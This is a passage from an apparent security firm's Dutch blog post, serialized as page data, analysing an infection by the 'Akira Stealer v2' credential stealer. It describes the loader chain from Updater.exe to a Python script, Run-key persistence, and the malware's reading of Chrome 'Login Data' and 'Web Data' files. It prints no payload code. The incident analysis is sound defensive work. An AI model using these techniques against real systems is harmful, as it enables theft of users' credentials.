[{"data":1,"prerenderedAt":13656},["ShallowReactive",2],{"sc:header-data-nl":3,"sc:footer-data-nl":489,"post-nl--posts-2025-06-16-quiet-breach-1445fe6971adcc":519,"authors_data":13072,"content-nl-list-7b291c2dd91a4":13425,"authors_data:Pascal Asch":13653},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"nl":13},{"title":14,"url":15,"alt":16},"Home","/nl","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"nl":21},{"title":22,"description":23},"Workplace","Slimme, veilige en flexibele werkplekken op basis van Microsoft 365, waarin moderne technologie en identiteitsdiensten samenkomen.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"nl":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"nl":34},{"title":35,"url":36},"Managed Intune","/nl/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"nl":40},{"title":41,"url":42},"Managed Entra","/nl/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"nl":46},{"title":47,"url":48},"Managed Workplace","/nl/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"nl":52},{"title":53,"url":54},"Consulting Services","/nl/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"nl":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"nl":64},{"title":65,"url":66},"Microsoft Entra Suite","/nl/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"nl":70},{"title":71,"url":72},"Microsoft Intune","/nl/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"nl":76},{"title":77,"url":78},"Microsoft Windows","/nl/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"nl":82},{"title":83,"url":84},"Windows 365 Cloud PC","/nl/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"nl":88},{"title":89,"url":90},"Cloud Workplace Foundation","/nl/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"nl":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"nl":100},{"title":101,"url":102},"Microsoft 365 Copilot","/nl/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"nl":106},{"title":107,"url":108},"Teams","/nl/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"nl":112},{"title":113,"url":114},"SharePoint & Power Platform","/nl/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"nl":118},{"title":119,"url":120},"Exchange Online","/nl/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"nl":124},{"title":125,"url":126},"Information Protection & Compliance","/nl/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"nl":130},{"title":131,"description":132},"Azure","Groeien met Azure: lagere cloudkosten, meer efficiëntie en ruimte voor innovatie met IaaS en PaaS.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"nl":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"nl":142},{"title":143,"url":144},"Azure Managed Services","/nl/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"nl":148},{"title":149,"url":150},"Azure Consulting","/nl/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"nl":154},{"title":155},"Scenario's",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"nl":160},{"title":161,"url":162},"Plan je cloud","/nl/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"nl":166},{"title":167,"url":168},"Migreren naar de cloud","/nl/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"nl":172},{"title":173,"url":174},"Vernieuw je business","/nl/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"nl":178},{"title":179,"url":180},"Herzie je VMware-strategie","/nl/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"nl":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"nl":190},{"title":191,"url":192},"Azure Foundation","/nl/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"nl":196},{"title":197,"url":198},"Azure AI Foundation","/nl/azure/azure-ai-foundation",{"name":86,"languages":200},{"nl":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"nl":205},{"title":206,"url":207},"Azure Data Foundation","/nl/azure/azure-data-foundation",{"name":188,"languages":209},{"nl":210},{"title":211,"url":212},"Azure Container Foundation","/nl/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"nl":216},{"title":217,"url":218},"Managed Dark Tenant","/nl/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"nl":222},{"title":223,"url":224},"Cloud Adoption Framework","/nl/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"nl":228},{"title":229,"url":230},"Cloud Competence Center","/nl/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"nl":234},{"title":235,"description":236,"emergency":237},"Security","Waakzaam in de cloud met een bekroonde 24/7 managed service, incident response en moderne bescherming van je infrastructuur.",{"text":238,"href":239,"skin":240,"icon":241},"Onder aanval?","/nl/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"nl":249},{"title":250,"url":251},"Managed Red Tenant","/nl/security/managed-red-tenant",{"name":214,"languages":253},{"nl":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"nl":259},{"title":260,"url":261},"Sentinel Data Lake","/nl/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"nl":265},{"title":266,"url":267},"Security Consulting","/nl/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"nl":274},{"title":275,"url":276},"Cloud Security Operations Center","/nl/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"nl":280},{"title":281,"url":282},"Global Secure Access","/nl/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"nl":286},{"title":287,"url":288},"MyWorkID","/nl/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"nl":295},{"title":296,"url":297},"Preventive Services","/nl/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"nl":301},{"title":302,"url":303},"Data Security Service","/nl/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"nl":307},{"title":308,"url":309},"Security Copilot Agents","/nl/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"nl":313},{"title":314,"url":315},"NIS2 implementeren","/nl/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"nl":319},{"title":320,"description":321},"Producten","Companion-producten voor een volledig beveiligde, 100% cloud-native Microsoft-omgeving die samenwerking, netwerkauthenticatie en softwarebeheer versterken.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"nl":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Softwaredistributie vanuit de cloud",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"nl":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Certificaatdistributie vanuit de cloud",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"nl":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Werk met je lokale Office 365-data",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"nl":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Migreer je data van de ene server naar de andere",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"nl":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider voor Microsoft 365",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"nl":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Authenticatie voor je netwerk",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"nl":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Contacten vinden in Microsoft Teams",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"nl":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Windows Autopilot-monitoring in realtime",{"name":396,"languages":397},"casestudies",{"nl":398},{"title":399,"url":400,"description":401},"Case studies","/nl/casestudies","Pionier in de cloud: je Microsoft-partner voor doordachte cloudoplossingen met een blueprint-gebaseerde aanpak en expertise in Infrastructure-as-Code.",{"name":403,"languages":404,"children":407},"company",{"nl":405},{"title":406,"description":401},"Bedrijf",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"nl":411},{"title":412},"Over ons",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"nl":417},{"title":418,"url":419},"Facts & Figures","/nl/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"nl":423},{"title":424,"url":425},"Contact & locaties","/nl/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"nl":429},{"title":430,"url":431}," glueckkanja Zwitserland","/nl/company/switzerland",{"name":433,"languages":434},"austria",{"nl":435},{"title":436,"url":437},"glueckkanja Oostenrijk","/nl/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"nl":441},{"title":442},"Carrière",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"nl":447},{"title":448,"url":449},"Carrière-overzicht","/nl/career",{"name":451,"languages":452},"company-young-professionals",{"nl":453},{"title":454,"url":455},"Young Professionals","/nl/young-professionals",{"name":457,"languages":458},"company-jobs",{"nl":459},{"title":460,"url":461},"Vacatures","/nl/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"nl":465},{"title":466},"Actueel",[468,474],{"name":469,"languages":470},"company-blog",{"nl":471},{"title":472,"url":473},"Blog","/nl/blog",{"name":469,"languages":475},{"nl":476},{"title":477,"url":478},"Events","/nl/events",[480],{"name":481,"languages":482},"career-meta",{"nl":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"nl":487},{"title":488,"url":425,"active":484},"Contact",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksNl":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Privacy","/nl/privacy",{"title":514,"url":515},"Juridische informatie","/nl/imprint",{"title":517,"url":518},"Geen cookies","/nl/cookies",{"id":520,"title":521,"author":522,"body":524,"cta":494,"description":535,"eventid":494,"extension":12945,"hideInRecent":484,"layout":12946,"meta":12947,"moment":12951,"navigation":325,"path":13063,"seo":13064,"stem":13065,"tags":13066,"webcast":484,"__hash__":13071},"content_nl/posts/2025-06-16-quiet-breach.md","Inside Akira Stealer: een volledige technische analyse van een modulaire stealer",[523],"Pascal Asch",{"type":525,"value":526,"toc":12800},"minimal",[527,532,536,544,547,566,569,587,597,600,603,627,635,646,653,656,659,674,681,684,687,702,706,708,714,719,722,725,737,746,753,756,762,765,769,771,776,782,785,789,791,794,820,826,832,836,838,841,845,847,850,852,858,861,866,869,879,882,885,905,908,915,922,924,930,933,939,942,977,980,989,995,1004,1007,1018,1021,1028,1030,1039,1049,1081,1087,1092,1114,1120,1123,1126,1132,1140,1147,1149,1152,1164,1167,1201,1207,1234,1243,1246,1251,1260,1262,1271,1277,1294,1297,1302,1336,1340,1343,1346,1352,1366,1372,1378,1380,1385,1389,1391,1471,1474,1478,1480,1485,1491,1496,1505,1510,1515,1526,1529,1534,1542,1548,1551,1555,1557,1568,1573,1593,1599,1608,1619,1626,1632,1636,1638,1644,1670,1673,1687,1690,1699,1702,1706,1708,1715,1718,1721,1734,1744,1751,1772,1775,1781,1785,1787,1790,1799,1812,1838,1844,1850,1853,1860,1863,1876,1883,1885,1892,1896,1898,1904,2002,2009,2016,2018,2021,2044,2047,2077,2080,2121,2124,2133,2136,2153,2159,2162,2171,2174,2188,2195,2199,2201,2208,2231,2237,2271,2274,2289,2295,2300,2311,2314,2318,2320,2323,2338,2345,2356,2367,2404,2411,2414,2418,2420,2426,2431,2471,2474,2489,2492,2501,2507,2510,2514,2516,2519,2528,2531,2578,2585,2589,2591,2597,2602,2631,2638,2640,2656,2660,2662,2665,2703,2709,2715,2719,2721,2740,2751,2758,2795,2802,2848,2856,2860,2862,2865,2895,2904,2911,2913,2918,2922,2924,2930,2934,2936,2943,2969,2976,3236,3239,3244,3247,3279,3285,3289,3291,3294,3298,3300,3303,3405,3408,3412,3414,3417,3580,3583,3606,3610,3612,3621,3866,3869,3898,3902,3904,3937,3940,3943,3975,3979,3981,3987,3992,3995,4013,4016,4024,4029,4032,4112,4120,4123,4129,4137,4141,4143,4149,4154,4157,4174,4181,4186,4192,4254,4268,4273,4279,4306,4309,4347,4350,4355,4358,4372,4376,4378,4383,4404,4411,4417,4419,4423,4425,4431,4435,4437,4441,4443,4448,4475,4481,4485,4487,4493,4510,4535,4542,4546,4548,4551,4560,4574,4577,4581,4583,4596,4599,4608,4613,4620,4622,4626,4628,4638,4642,4644,4650,4664,4678,4682,4684,4767,4770,4776,4778,4783,4841,4848,4973,4976,5121,5125,5127,5130,5184,5187,5191,5193,5200,5253,5256,5260,5262,5265,5317,5320,5324,5326,5333,5385,5388,5392,5394,5401,5442,5445,5449,5451,5458,5540,5543,5547,5549,5552,5599,5602,5607,5610,5613,5617,5619,5624,5630,5635,5641,5646,5652,5657,5663,5668,6069,6073,6075,6116,6120,6122,6130,6134,6136,6146,6151,6176,6197,6202,6289,6293,6295,6388,6391,6397,6404,6406,6409,6464,6519,6526,6528,6531,6566,6601,6608,6610,6613,6646,6680,6687,6689,6692,6761,6807,6814,6816,6819,6847,6876,6883,6885,6888,6916,6939,6949,6951,6954,6979,7017,7021,7023,7056,7060,7062,7065,7068,7071,7074,7077,7082,7107,7112,7142,7148,7157,7179,7388,7392,7394,7401,7499,7502,7506,7508,7515,7608,7618,7624,7627,7632,7638,7667,7672,7702,7755,7774,7777,7782,7831,7835,7837,7840,7844,7846,7852,7972,7992,7996,7998,8003,8077,8098,8102,8104,8107,8110,8113,8116,8215,8223,8227,8229,8234,8269,8290,8294,8296,8299,8302,8310,8313,8401,8415,8419,8421,8424,8427,8520,8526,8528,8534,8538,8540,8543,8608,8625,8628,8662,8665,8669,8671,8676,8690,8735,8761,8766,8779,8855,8910,8914,8916,8919,8925,8966,8976,8982,8992,8996,8998,9001,9030,9056,9061,9065,9067,9074,9081,9083,9089,9144,9172,9176,9178,9181,9246,9253,9292,9296,9298,9304,9319,9322,9358,9362,9364,9371,9415,9429,9435,9442,9444,9447,9451,9453,9456,9490,9493,9518,9522,9524,9529,9532,9556,9580,9584,9586,9589,9613,9617,9619,9622,9642,9646,9648,9651,9658,9771,9775,9820,9824,9826,9833,9867,9922,9927,9930,9934,9936,9939,9943,9945,9948,9954,9958,9960,9963,10018,10033,10037,10039,10050,10119,10128,10133,10136,10180,10182,10186,10188,10191,10280,10285,10414,10418,10420,10423,10428,10501,10519,10524,10544,10552,10557,10563,10578,10595,10601,10659,10680,10685,10702,10707,10753,10767,10770,10774,10776,10781,10785,10787,10794,10801,10805,10807,10918,10925,10929,10931,10937,10942,11023,11030,11037,11041,11043,11046,11075,11082,11086,11088,11092,11094,11101,11104,11107,11110,11254,11257,11261,11263,11266,11270,11272,11275,11310,11316,11320,11322,11325,11351,11354,11360,11364,11366,11371,11388,11394,11398,11400,11404,11406,11422,11445,11452,11468,11487,11490,11494,11496,11507,11511,11513,11947,11950,11954,11956,11962,11965,11968,11975,11978,11989,11995,11998,12003,12007,12009,12012,12017,12031,12035,12037,12334,12337,12341,12343,12455,12458,12462,12464,12518,12521,12525,12527,12690,12693,12697,12699,12740,12743,12747,12749,12752,12755,12758,12761,12764,12767,12772,12776,12778,12781,12784,12787,12790,12793,12796],[528,529,531],"h1",{"id":530},"proloog","Proloog",[533,534,535],"p",{},"{: .h3-font-size}",[533,537,538,539,543],{},"Het begon zoals zoveel moderne aanvallen beginnen: stil. Een Defender-alert met lage confidence, ",[540,541,542],"strong",{},"\"Suspicious sequence of exploration activities\"",", kwam naar boven tijdens de onboarding van een nieuwe klant in ons glueckkanja Cyber Security Operations Center (CSOC).",[533,545,546],{},"Er waren geen signature-hits. Geen malwareclassificaties. Geen reactie van real-time protection. Alleen een enkele gedragscorrelatie in Microsoft 365 Defender, begraven in de ruis, en toch onmiskenbaar fout.",[533,548,549,550,554,555,558,559,562,563],{},"Tijdens de triage van het alert viel één specifieke actie op: ",[551,552,553],"code",{},"python.exe"," had zowel het bestand ",[551,556,557],{},"Login Data"," als ",[551,560,561],{},"Web Data"," in een Chromium-profiel geopend. Microsoft Defender escaleerde dit direct naar een incident met hoge severity: ",[540,564,565],{},"\"Possible theft of passwords and other sensitive web browser information.\"",[533,567,568],{},"Dit was geen false positive. Het was het topje van iets diepers.",[533,570,571,572,575,576,579,580,583,584,586],{},"Toen ik de telemetrie terugvolgde, vond ik een generiek uitziende binary in de startup-map, ",[551,573,574],{},"Updater.exe",", die een NodeJS-gebaseerde wrapper (",[551,577,578],{},"main.exe",") startte, die vervolgens een commandline uitvoerde om een script met de naam ",[551,581,582],{},"astor.py"," via ",[551,585,553],{}," te draaien.",[588,589,595],"pre",{"className":590,"code":592,"language":593,"meta":594},[591],"language-text","Updater.exe → main.exe → cmd.exe → python.exe Crypto\\Util\\astor.py\n","text","",[551,596,592],{"__ignoreMap":594},[533,598,599],{},"Het script harkte niet alleen credentials binnen, maar voerde ook een reeks reconnaissance-stappen na de compromittering uit, waaronder registerqueries, system fingerprinting en enumeratie op basis van privileges. Het werkte met chirurgische precisie en bootste native systeemgedrag na om detectie te ontwijken. En het werkte, bijna.",[533,601,602],{},"Op het moment van de eerste respons:",[604,605,606,616,624],"ul",{},[607,608,609,611,612,615],"li",{},[551,610,574],{}," werd door slechts ",[540,613,614],{},"1 van de 69"," engines op VirusTotal gemarkeerd.",[607,617,618,620,621,623],{},[551,619,578],{},", ",[551,622,582],{}," en alle bijbehorende componenten werden op VirusTotal nauwelijks gemarkeerd.",[607,625,626],{},"Geen enkel bestand was gesigneerd. Geen verhoogde rechten. Alleen \"gewone\" processen die zeer ongewone dingen deden.",[533,628,629,631,632,634],{},[551,630,574],{}," raakte geen credentials aan. Die taak was voorbehouden aan ",[551,633,582],{},", de Python-payload die volledig in het geheugen liep, een bestand dat door zijn opzet vrijwel geen sporen achterliet.",[533,636,637,638,641,642,645],{},"Binnen ",[540,639,640],{},"21 minuten"," was het getroffen systeem geïsoleerd van het netwerk. Binnen ",[540,643,644],{},"70 minuten"," waren credentials in alle betrokken scopes geroteerd: interne identiteiten, SaaS-platformen, diensten van derden.",[533,647,648,649,652],{},"Het echte kantelpunt kwam toen we de Python-payload eruit haalden en volledig ontsleutelden. Wat we vonden was geen generieke stealer, maar een custom deployment van ",[540,650,651],{},"Akira Stealer v2",", een commercieel gedistribueerde malwarefamilie die via Telegram wordt verkocht.",[533,654,655],{},"Dankzij onze eigen threat intelligence en reverse-engineeringcapaciteiten konden we de volledige functionaliteit van de malware reconstrueren, alle ingebedde indicatoren extraheren en de staging, de exfiltratie en de logica achter het targeten van credentials in detail doorgronden.",[533,657,658],{},"Belangrijker nog: we stopten niet bij technische attributie. We gingen verder.",[533,660,661,662,665,666,669,670,673],{},"We konden de klant een ",[540,663,664],{},"complete dataset van geëxfiltreerde credentials"," leveren: meer dan ",[540,667,668],{},"100 unieke combinaties van gebruikersnaam en wachtwoord",", inclusief toegangsgegevens voor clouddiensten, CRM-systemen, interne platformen en zelfs persoonlijke tools van sleutelmedewerkers. De diefstal liep al ",[540,671,672],{},"maanden",", en we konden alles ervan verantwoorden.",[533,675,676,677,680],{},"Met de inzichten uit deze zaak bouwden we een ",[540,678,679],{},"analysetool voor de fase na infectie"," die getroffen systemen scant, patronen van credentialtoegang reconstrueert en gedetailleerde forensische rapporten genereert, met precies wat er is gestolen, wanneer en waarvandaan.",[533,682,683],{},"Aan het einde van dit rapport laten we een glimp van die scanner zien.",[533,685,686],{},"Want dit is meer dan een incident.\nZo onderzoeken wij. Zo beschermen wij.",[533,688,689,698,701],{},[540,690,691,692,697],{},"Welkom bij het ",[693,694,696],"a",{"href":695},"/nl/security/cloud-security-operations-center/","glueckkanja CSOC",".",[699,700],"br",{},"\nZo werken wij, want breaches wachten niet.",[528,703,705],{"id":704},"_1-initiële-gebeurtenis-en-samenvatting-van-de-triage","1. Initiële gebeurtenis en samenvatting van de triage",[533,707,535],{},[533,709,710,711,713],{},"Op 31 maart 2025 genereerde Microsoft Defender for Endpoint een alert met het label ",[540,712,542],{}," op een Windows 10 64-bit endpoint. Ik startte de triage op basis van dit signaal en bekeek het getroffen systeem aan de hand van de process tree, de systeemtijdlijn en het door Defender gecorreleerde bewijsmateriaal.",[715,716,718],"h2",{"id":717},"_11-triage-op-basis-van-de-tijdlijn","1.1 Triage op basis van de tijdlijn",[533,720,721],{},"{: .h4-font-size}",[533,723,724],{},"Het alert wees op een reeks processen die nader onderzoek verdiende. Bij de eerste review zag ik de volgende toegangspatronen tot Chrome-browserdata in het lokale gebruikersprofiel:",[604,726,727,732],{},[607,728,729],{},[551,730,731],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data",[607,733,734],{},[551,735,736],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Web Data",[533,738,739,740,742,743,745],{},"Deze toegangen werden geïnitieerd door een proces met de naam ",[551,741,574],{},". Microsoft Defender had de binary niet gemarkeerd op basis van heuristische of gedragsanalyse, maar op VirusTotal vond ik wel een detectie voor ",[551,744,574],{},", op dat moment gemarkeerd door één engine.",[533,747,748],{},[749,750],"img",{"alt":751,"src":752},"Microsoft Defender","https://res.cloudinary.com/c4a8/image/upload/v1749797184/blog/pics/microsoft-defender.png",[533,754,755],{},"De volledig waargenomen execution chain zag er zo uit:",[588,757,760],{"className":758,"code":759,"language":593,"meta":594},[591],"winlogon.exe\n└── userinit.exe\n    └── explorer.exe\n        └── Updater.exe\n            └── main.exe\n                └── cmd.exe /d /s /c \"python.exe Crypto\\Util\\astor.py\"\n                    └── python.exe Crypto\\Util\\astor.py\n",[551,761,759],{"__ignoreMap":594},[533,763,764],{},"In dit stadium was er nog geen diepere statische of dynamische analyse van de betrokken bestanden uitgevoerd. Mijn focus lag op het begrijpen van het gedrag op hoog niveau en de context. De procesnamen en bestandspaden waren generiek en er waren geen verdachte commandline-argumenten aanwezig buiten de geketende Python-uitvoering.",[715,766,768],{"id":767},"_12-eerste-respons","1.2 Eerste respons",[533,770,721],{},[533,772,637,773,775],{},[540,774,640],{}," na het eerste alert isoleerde ik de host met de isolatiefuncties van Defender for Endpoint. Het doel was verdere verspreiding of exfiltratie te voorkomen.",[533,777,778,779,781],{},"Binnen de eerste ",[540,780,644],{}," roteerden we de credentials waarvan bekend was dat ze op de getroffen host werden gebruikt, inclusief interne systemen, SaaS-platformen en kritieke externe leveranciers.",[533,783,784],{},"Het reverse-engineeringproces begon na de eerste containment. De volgende secties documenteren de technische deep dive die volgde om de breach te onderzoeken.",[715,786,788],{"id":787},"_13-samenvatting-van-de-respons-snel-transparant-impactgericht","1.3 Samenvatting van de respons: snel, transparant, impactgericht",[533,790,721],{},[533,792,793],{},"Onze respons combineerde snelheid, expertise en operationele kwaliteit, ondersteund door bewezen workflows en volledige zichtbaarheid voor de klant.",[604,795,796,802,808,814],{},[607,797,798,801],{},[540,799,800],{},"Van detectie tot volledige containment in minder dan 90 minuten","\nDefender-alerts, netwerkisolatie, antivirusscan en het intrekken van credentials werden snel en in samenhang uitgevoerd.",[607,803,804,807],{},[540,805,806],{},"Forensische deep dive binnen 48 uur","\nInclusief volledige disk- en memory-analyse, review van browserartefacten, detectie van credential dumping en gedragsmatige reconstructie van de activiteit van de aanvaller.",[607,809,810,813],{},[540,811,812],{},"Veilig terughalen van data en omgang met bewijsmateriaal","\nDe gestolen data, waaronder cookies, wachtwoorden, tokens en browserprofielen, werd teruggehaald, forensisch gearchiveerd en veilig aan de klant overgedragen.",[607,815,816,819],{},[540,817,818],{},"End-to-end zichtbaarheid en communicatie","\nElke stap, van het eerste alert tot remediatie en debrief, werd volledig gedocumenteerd, in real time gedeeld en samengevat in een gestructureerde CSIRT-overdracht.",[821,822,823],"blockquote",{},[533,824,825],{},"Dit incident laat zien dat het glueckkanja CSOC niet alleen malware stopt: we ontmantelen de gevolgen, geven onze klanten de controle terug en zetten elk incident om in inzicht.",[827,828],"div",{"className":829},[830,831],"space-top-1","space-bottom-1",[528,833,835],{"id":834},"_2-malware-architectuur-en-overzicht-van-de-execution-chain","2. Malware-architectuur en overzicht van de execution chain",[533,837,535],{},[533,839,840],{},"De malware die op het getroffen endpoint werd waargenomen volgde een gestructureerde architectuur met meerdere fasen en een duidelijke scheiding van verantwoordelijkheden: deployment, decoding, uitvoering en data-exfiltratie.",[715,842,844],{"id":843},"_21-overzicht-van-de-execution-chain","2.1 Overzicht van de execution chain",[533,846,721],{},[533,848,849],{},"De waargenomen uitvoeringsflow zag er zo uit:",[533,851,574],{},[588,853,856],{"className":854,"code":855,"language":593},[591],"​   └── main.exe\n​       └── cmd.exe\n​           └── python.exe astor.py\n",[551,857,855],{"__ignoreMap":594},[533,859,860],{},"Elk onderdeel van de keten droeg bij aan stealth, modulariteit en evasion. De architectuur maakte gebruik van legitieme runtimes en standaard OS-interpreters om detectiemechanismen te omzeilen.",[862,863,865],"h3",{"id":864},"_211-onzekere-oorsprong-ontbrekende-initiële-vector","2.1.1 Onzekere oorsprong: ontbrekende initiële vector",[533,867,868],{},"{: .font-size-4}",[533,870,871,872,875,876,697],{},"Ondanks uitgebreide analyse van de omgeving na de compromittering kon de initiële toegangsvector niet met zekerheid worden vastgesteld. Die onzekerheid komt vooral doordat de malware naar schatting ",[540,873,874],{},"zes maanden vóór de detectie"," al actief was, langer dan de ",[540,877,878],{},"bewaartermijn voor logs die Microsoft Defender for Endpoint hanteert",[533,880,881],{},"Daardoor was er geen telemetrie of forensisch artefact beschikbaar uit de oorspronkelijke periode van de infectie. Er waren geen initiële process creation events, file drops of commandline-entries met betrekking tot de deliveryfase terug te halen uit de tijdlijn van Defender of de bijbehorende sensoren.",[533,883,884],{},"Op basis van contextuele indicatoren en OSINT-bronnen kan een waarschijnlijke infectievector het volgende hebben omvat:",[604,886,887,893,899],{},[607,888,889,892],{},[540,890,891],{},"Getrojaniseerde installers"," van gecrackte of gemodde gamingsoftware",[607,894,895,898],{},[540,896,897],{},"Nep-utilities"," of \"performance boosters\" die via forums en sites van derden werden verspreid",[607,900,901,904],{},[540,902,903],{},"Kwaadaardige browserextensies"," die zich richten op specifieke gebruikersinteresses (bijvoorbeeld crypto-tools of Discord-uitbreidingen)",[533,906,907],{},"Dit blijft echter speculatief.",[533,909,910,911,914],{},"Er kon tijdens het onderzoek geen bevestigde dropper, phishingmail of gecompromitteerde website worden geïdentificeerd. De malware-architectuur en de execution chain zijn volledig gereconstrueerd, maar het ",[540,912,913],{},"initiële punt van compromittering (MITRE ATT&CK T1190 / T1566)"," kon niet worden gevalideerd.",[862,916,918,919,921],{"id":917},"_212-updaterexe-initiële-loader","2.1.2 ",[551,920,574],{},": initiële loader",[533,923,868],{},[533,925,926,927,929],{},"Bij de review van de process tree in Microsoft 365 Defender viel ",[551,928,574],{}," direct op, niet door wat het deed, maar door hoe stil het zich in de uitvoeringsflow van het systeem nestelde.",[533,931,932],{},"Deze binary was geregistreerd voor automatische uitvoering via de standaard Windows Run-key:",[588,934,937],{"className":935,"code":936,"language":593},[591],"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n",[551,938,936],{"__ignoreMap":594},[533,940,941],{},"Dat betekende dat het bij elke aanmelding van de gebruiker werd gestart, een klassiek persistence-mechanisme dat geen verhoogde rechten vereist en vaak onopgemerkt door EDR-telemetrie glipt.",[604,943,944,950,956,962,968],{},[607,945,946,949],{},[540,947,948],{},"Bestandstype",": Windows PE executable (32-bit)",[607,951,952,955],{},[540,953,954],{},"Signature",": niet gesigneerd",[607,957,958,961],{},[540,959,960],{},"VirusTotal-detectie",": 1 van de 69 engines op het moment van de triage",[607,963,964,967],{},[540,965,966],{},"Uitvoeringscontext",": medium integrity, gebruikerssessie",[607,969,970,973,974],{},[540,971,972],{},"Locatie",": ",[551,975,976],{},"AppData\\Roaming\\Microsoft\\Windows\\Start 